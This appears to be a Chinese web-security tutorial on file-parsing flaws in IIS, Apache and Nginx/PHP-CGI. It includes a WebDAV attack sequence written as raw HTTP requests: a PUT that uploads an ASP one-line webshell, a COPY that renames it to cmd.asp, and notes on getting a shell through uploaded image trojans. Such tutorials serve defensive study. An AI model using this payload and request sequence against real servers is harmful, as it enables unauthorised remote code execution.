IIS解析漏洞
- IIS7/7.5在Fast-CGI运行模式下,在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。
- IIS6.0在解析文件时,存在解析漏洞,当建立*.asa和*.asp格式的文件夹是,其目录下任意文件都被当作asp文件来解析。
- 在IIS6.0中,当文件为*.asp;1.jpg时,同样会被当作asp文件解析,微软不认为这是漏洞,也没有推出它的补丁,所以该漏洞至今还存在。
基于IIS容器的WebDav漏洞
它扩展了HTTP协议,在原有的GET、POST、HEAD等几个HTTP标准方法以外还添加了PUT、Move、Copy、Delete等方法。
1.通过OPTIONS探测服务器所支持的HTTP方法
OPTIONS / HTTP/1.1
Host:www.xxx.com
2.通过PUT向服务器上传文件
PUT /a.txt HTTP/1.1
Host:www.xxx.com
Content-Length:30
<%eval request("aaa")%>
3.通过Move或Copy方法改名
COPY /a.txt HTTP/1.1
Host:www.xxx.com
Destination:http://www.xxx.com/cmd.asp
4.通过DELETE删除文件
DELETE /a.txt HTTP/1.1
Host:www.xxx.com
可以看到,通过这些HTTP方法不难获取一个WebShell
Apache解析漏洞
在Apache1.x和2.x版本中存在解析漏洞,但它们与IIS不同。
例:在URL中输入http://www.xxx.com/a.php.rar
,a.php.rar被当做php文件去解析并正常运行了。
这是因为apache在解析文件是有一个原则,遇到不认识的扩展名时,会从后往前解析,直到碰到认识的扩展名为止,如果都不认识,则暴露源代码。
在apache的安装目录下,有个配置文件/conf/mime.types
,该文件有详细的扩展名列表,从这里可以看到它认识什么扩展名!
PHP CGI解析漏洞
Nginx是一款高性能的Web服务器,通常用来作为PHP的解析容器,PHP CGI漏洞虽然与Nginx关系不是很大,但由于Nginx与PHP配合很容易造成这种解析漏洞,所以通常该漏洞常常被认为是Nginx的漏洞。
例:在URL中输入http://www.xxx.com/a.jpg/b.php
此时的b.php文件是不存在的,但a.jpg却被当PHP文件去解析了,问题就在b.php上(这个文件名不是固定的,可以随便命名)。意味着攻击者可以合法上传图片马,并在URL后加上/xxx.php
,就可以获取WebShell。